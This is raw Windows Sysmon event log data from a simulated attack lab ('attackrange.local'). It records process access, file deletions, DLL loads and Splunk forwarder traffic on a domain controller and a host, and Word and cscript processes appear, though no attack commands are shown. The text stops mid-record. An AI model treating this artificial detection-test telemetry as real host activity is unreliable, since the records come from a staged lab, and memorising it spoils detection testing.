15:04:21.728{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.728{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.728{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.728{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.728{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000054376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.727{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000054375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.726{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000054374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.527{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=67FD2B873934741FA5310963D38C7778,SHA256=269BE1D38F145EDBA9D1560A01C5708F84D7A53824D1805B077B23484971C83B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.078{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=4D0F99864BCF9C2B38572FA11CF0774A,SHA256=C4CBB8989C1102EC629167EB61A0451818D9368D298E64042F462BC7B2FC3321,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000054372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.023{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000054371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.021{7BD73061-73F4-613B-8A0B-00000000F001}55405476C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.012{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000054369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.009{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000054429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:22.747{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=21B699693B21918F1216BB5D6DC6349D,SHA256=A1DDC8F87632253C426F12D62A9BD44B595C6BF96CDA3A1C07CA96E6B025CE3B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:22.648{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=204E56D920ECB613951E687EC9BD497E,SHA256=762FB28B831F3778099317E84BBAEBF0C4DCD291A4A35F087D36879232A3EF6F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017403Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:22.767{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AFED60A5BF57A0E03DD5E55036136F44,SHA256=EBACA11FBBBE7242F30BA22D7B5032C8B6F8B2AAAAF4122352F1653B82FA9D2B,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000017402Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:20.541{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50357-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000054427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:22.448{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:22.448{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:23.677{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:23.677{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\system32\cscript.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:23.677{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000054431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:23.662{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E9D585E7523004585A73C041834DDC3D,SHA256=20798DCB4FF8A0C8D3F5EC4C7B67553E8B99653898B72AA37418D254FB266E3F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017404Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:23.767{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FD9133373182A75BFC66546328A0F194,SHA256=94AB3380329EDE60F1D9CFC7B36BADFB40CC4F783BE9724BEEECA060E2139FC6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:23.562{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\aborted-session-pingMD5=B597B17A5D28B7CE23F8403FB2F7C56C,SHA256=686E842CFCFC687BFA67C8873BDF87A34A2C2DF59A3810ABA2746F606AEB2F9C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017405Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:24.782{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2FDD8AED898A4DE4550852042C985139,SHA256=D0BF973346D83490A266CC54D20061EA67F06E09BEB0B30DE0D242C74DCEAFBC,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000054444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:24.960{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1000-00000000F001}364C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:24.960{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:24.960{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:24.960{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:24.960{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:24.960{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000054438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:24.676{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8FCB843A933B6A117DC39CCF21A375BB,SHA256=3F2B868AF8B6ABF58EB48F077DD42291D75633C941DE093A5361008026C314DB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000054437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:24.576{7BD73061-6D0F-613B-9406-00000000F001}44803132C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHCORE.dll+64c8|C:\Windows\System32\SHCORE.dll+6497|C:\Windows\System32\SHCORE.dll+6387|C:\Windows\System32\SHCORE.dll+62fd|C:\Windows\System32\SHCORE.dll+620a|C:\Windows\System32\SHELL32.dll+55a50|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11ed7|C:\Windows\System32\USER32.dll+22a53|C:\Windows\SYSTEM32\ntdll.dll+a9814|UNKNOWN(FFFFF800916DA8A8)|UNKNOWN(FFFFEC48E0AA5B68)|UNKNOWN(FFFFEC48E0AA5CE7)|UNKNOWN(FFFFEC48E0AA0371)|UNKNOWN(FFFFEC48E0AA1D3A)|UNKNOWN(FFFFEC48E0A9FFF6)|UNKNOWN(FFFFF800913F2103)|C:\Windows\System32\win32u.dll+10c4|C:\Windows\System32\USER32.dll+1ea2e|C:\Windows\System32\SHELL32.dll+592ab|C:\Windows\System32\SHELL32.dll+dac6a|C:\Windows\System32\SHCORE.dll+33fad 10341000x800000000000000054436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:24.576{7BD73061-6D0F-613B-9406-00000000F001}44803132C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHCORE.dll+64c8|C:\Windows\System32\SHCORE.dll+1c0e5|C:\Windows\System32\SHELL32.dll+55531|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11ed7|C:\Windows\System32\USER32.dll+22a53|C:\Windows\SYSTEM32\ntdll.dll+a9814|UNKNOWN(FFFFF800916DA8A8)|UNKNOWN(FFFFEC48E0AA5B68)|UNKNOWN(FFFFEC48E0AA5CE7)|UNKNOWN(FFFFEC48E0AA0371)|UNKNOWN(FFFFEC48E0AA1D3A)|UNKNOWN(FFFFEC48E0A9FFF6)|UNKNOWN(FFFFF800913F2103)|C:\Windows\System32\win32u.dll+10c4|C:\Windows\System32\USER32.dll+1ea2e|C:\Windows\System32\SHELL32.dll+592ab|C:\Windows\System32\SHELL32.dll+dac6a|C:\Windows\System32\SHCORE.dll+33fad|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000054435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:24.576{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms~RF37d749.TMPMD5=C0FE3B89255FA7874A1CD1152C3E4780,SHA256=1E93C4C546034E6AEA054E5F32931C9F60ADEC11C9CB79DD7964C652CC660512,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017406Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:25.798{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0228989B8C9ECF9A7F3637013F7BF64F,SHA256=5D67DB8BFAF591796ECE946A3C10EFF0179216BF6E81B5D7C4E831B796D17CF7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:25.691{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4047F3249A091AA0A90257B114E1CFD1,SHA256=E487D0D08AEE48A82B9C0D6133F523239FC7D40E8A84FDA710136FD2896D0F32,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017407Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:26.798{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4635C86BC78C8EF0F159410932F88C36,SHA256=3EC5787C7A7F2C50B2061E66F545D6E3AD5D30280529E05FBDA16026CF0137EF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:26.726{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program 